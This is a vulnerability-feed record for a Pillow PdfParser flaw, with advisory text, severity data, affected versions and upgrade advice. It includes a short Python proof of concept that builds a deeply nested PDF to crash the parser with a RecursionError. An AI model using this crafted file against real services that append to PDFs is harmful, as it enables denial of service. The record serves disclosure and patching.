{"id":"CVE-2026-112391","kind":"vulnerability","aliases":["CVE-2026-112391","GHSA-254f-3936-288h"],"related":[],"title":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","description":"### Summary\n`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=<pdf>, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n    return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n    out = bytearray(b\"%PDF-1.4\\n\")\n    offset = len(out)\n    out += f\"1 0 obj\\n\".encode()\n    out += root\n    out += b\"\\nendobj\\n\"\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    xref_offset = len(out)\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    out += b\"trailer\\n\"\n    out += f\"<< /Size 2 /Root 1 0 R >>\\n\".encode()\n    out += b\"startxref\\n\"\n    out += f\"{xref_offset}\\n\".encode()\n    out += b\"%%EOF\"\n    return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\"<< /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" >>\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n    f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\")     # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.","summary":"Pillow's PdfParser recurses without a depth limit when parsing deeply nested PDF objects, so a crafted PDF raises an uncaught RecursionError. An attacker who controls a PDF that the app appends to with Image.save(format=\"PDF\", append=True) can crash that request, a denial of service with no data exposure.","severity":"high","cvss":7.5,"epss":0.0029100000392645597,"exploited":false,"exploited_at":null,"products":[{"name":"Pillow","fixed":["13.0.0"],"affected":">= 5.1.0, < 13.0.0","ecosystem":"pypi"},{"name":"python pillow","fixed":["13.0.0"],"affected":">= 5.1.0, < 13.0.0","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["cwe-835","package","pdf-processing","pillow","python"],"not_affected_if":["image-open-only","no-append-mode-pdf-save","pdfs-not-attacker-controlled","pillow-below-5.1.0-or-at-13.0.0"],"how_to_check":"Run pip show pillow and check whether the version is >= 5.1.0 and < 13.0.0.\nFind code that calls Image.save with format=\"PDF\" and append=True on files that users or external sources can supply.","fix":"Upgrade Pillow to 13.0.0 or later.\nIf upgrading is not possible, do not use append=True on untrusted PDF files.","status":"open","published_at":"2026-10-19T21:17:07+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:10:11+00:00","updated_at":"2026-10-23T22:28:57+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-23T20:10:11Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade Pillow to 13.0.0 or later.\nIf upgrading is not possible, do not use append=True on untrusted PDF files.","summary":"Pillow's PdfParser recurses without a depth limit when parsing deeply nested PDF objects, so a crafted PDF raises an uncaught RecursionError. An attacker who controls a PDF that the app appends to with Image.save(format=\"PDF\", append=True) can crash that request, a denial of service with no data exposure.","category":"package","who_cares":["python","pillow","pdf-processing"],"confidence":0.85,"analyst_note":"","how_to_check":"Run pip show pillow and check whether the version is >= 5.1.0 and < 13.0.0.\nFind code that calls Image.save with format=\"PDF\" and append=True on files that users or external sources can supply.\nunknown","needs_analyst":false,"not_affected_if":["pillow-below-5.1.0-or-at-13.0.0","no-append-mode-pdf-save","pdfs-not-attacker-controlled","image-open-only"],"severity_if_unknown":"medium"},"cost_usd":0.000528,"input_tokens":3341,"output_tokens":388,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-1':172C,209C,217C,295C '-1.4':388C '-112391':16A,25A '-2':218C '-2026':15A,24A '-288':21A '-3':219C '-835':30B '/advisories/ghsa-r73j-pqj5-w3x7':134C '/bomb':503C '/catalog':498C '/pages':260C,499C '/prev':136C '/root':268C,468C '/size':466C '/type':497C '0':181C,227C,300C,396C,412C,441C,470C,501C '00000':426C,455C '0000000000':418C,447C '010d':425C,454C '1':199C,395C,469C '2':413C,442C,467C,500C '254f':19A '3000':492C,494C '3936':20A '65535':419C,448C 'actual':524C 'advisori':279C 'alreadi':316C,319C 'already-cv':318C 'already-fix':315C 'anyth':276C 'app':67B,599C 'append':68B,74B,113C,549C,557C,593C 'append-mod':592C 'applic':547C 'array':189C 'arrays/dicts/indirect':340C 'attack':60B,122C,536C 'attacker-control':121C 'avail':534C 'b':386C,403C,407C,417C,428C,436C,446C,457C,461C,475C,485C,491C,493C,496C,505C 'bomb':490C,504C 'bug':130C,322C 'build':381C,513C 'built':367C 'byte':488C,573C 'bytearray':385C 'call':187C,205C 'cannot':579C 'caus':350C 'chain':138C 'check':275C,301C 'class':128C 'classmethod':166C 'clean':522C 'compar':311C 'confidenti':574C 'content':540C 'context':312C 'control':62B,123C,538C 'count':213C 'craft':53B 'crash':77B,99C,560C 'cve':14A,23A,320C 'cwe':29B 'd':321C 'data':86B 'deep':244C 'deepli':47B 'def':380C 'default':202C,296C 'definit':193C 'denial':81B 'depth':43B,288C,531C 'detail':158C 'dictionari':190C,272C 'differ':151C,325C 'direct':368C 'earlier':141C 'els':277C 'encod':399C,415C,427C,444C,456C,473C,483C 'enough':246C 'eof':486C 'equal':225C 'even':256C 'ever':212C 'everi':185C,204C 'exact':226C 'exampl':608C 'exceed':532C 'exist':117C,613C 'expect':520C 'exposur':87B 'f':394C,411C,420C,423C,440C,449C,452C,465C,479C,511C 'f.write':512C 'file':119C,147C,544C,568C 'first':273C 'fix':140C,154C,317C,353C 'fixabl':345C 'format':72B,111C,555C 'fp':110C 'function':152C,326C 'get':8A,91C,159C,356C 'ghsa':18A,306C 'ghsa-254f':17A 'ghsa-r73j-pqj5-w3x7':305C 'github.com':133C 'github.com/advisories/ghsa-r73j-pqj5-w3x7':132C 'guard':176C,230C,289C 'h':22A 'hit':248C 'hundr':572C 'im':109C 'imag':551C 'image.open':585C 'image.save':71B,108C,554C 'impact':533C 'import':378C 'independ':344C 'indirect':191C 'ineffect':285C 'info':265C 'int':171C 'integr':576C 'later':548C 'len':391C,433C 'level':243C 'librari':373C 'limit':6A,44B,97C,252C 'linear':11A 'locat':354C 'loop':139C 'matter':618C 'max':169C,179C,195C,197C 'maximum':529C 'mention':303C 'mode':594C 'n':389C,398C,405C,409C,414C,421C,429C,430C,438C,443C,450C,458C,459C,463C,472C,477C,482C 'need':257C,374C 'negat':216C 'nendobj':404C 'nest':48B,170C,180C,188C,196C,198C,239C,339C 'nesting_bomb.pdf':508C,517C 'never':224C,231C,297C 'none':183C,184C,575C,577C 'obj':397C 'object':50B,192C,235C,269C,341C 'offset':390C,424C,432C,453C,481C 'one':348C,352C 'open':507C,580C 'packag':31B 'page':12A,552C 'pars':46B,266C 'pass':194C 'path':338C,596C 'pdf':33B,49B,54B,64B,73B,112C,118C,234C,264C,372C,382C,387C,514C,543C,556C,614C 'pdf-process':32B 'pdfformaterror':523C 'pdfparser':2A,39B,89C,379C,516C,586C 'pdfparser.get':291C 'pdfs':362C,581C 'pil.pdfparser':377C 'pillow':1A,26A,28A,35B,37B,578C 'plain':365C 'pqj5':308C 'process':34B 'python':27A,36B,177C,249C,370C,375C 'r':471C,502C 'r73j':307C 'rais':55B,518C,525C 'raw':527C 'reach':298C,589C 'reachabl':106C 'read':263C,583C 'recurs':4A,40B,94C,186C,251C,287C,530C 'recursion-depth':286C 'recursionerror':58B,103C,519C,528C,565C 'report':280C,334C 'reproduc':360C 'request':79B,562C 'return':182C,487C 'root':349C,383C,401C,495C,515C 'run':232C 'save':595C 'second':331C 'sentinel':294C 'servic':83B 'share':347C 'sinc':200C,262C 'singl':282C 'site':206C 'specif':605C 'src/pil/pdfparser.py':162C 'stamp':609C 'start':207C 'startxref':476C 'step':358C 'summari':88C 'take':168C 'text':366C 'thing':606C 'thousand':242C 'three':336C 'touch':157C 'trailer':137C,462C 'tree':13A,261C 'trigger':337C 'true':75B,114C,558C 'two':150C 'uncaught':57B,102C 'use':566C 'valid':259C 'valu':9A,92C,160C,238C,292C,357C 'vulner':283C,332C 'w3x7':309C 'watermark':611C 'wb':509C 'without':5A,41B,95C 'xref':408C,431C,437C,480C 'year':143C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-19T21:17:07+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-254f-3936-288h","url":"https://github.com/advisories/GHSA-254f-3936-288h","severity":"medium","published_at":"2026-10-21T21:11:07+00:00","modified_at":"2026-10-21T21:11:08+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-112391","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112391","severity":null,"published_at":"2026-10-19T21:17:07+00:00","modified_at":"2026-10-23T17:00:31+00:00","first_seen_at":"2026-10-23T21:57:19+00:00","fetched_at":"2026-10-23T22:28:57+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}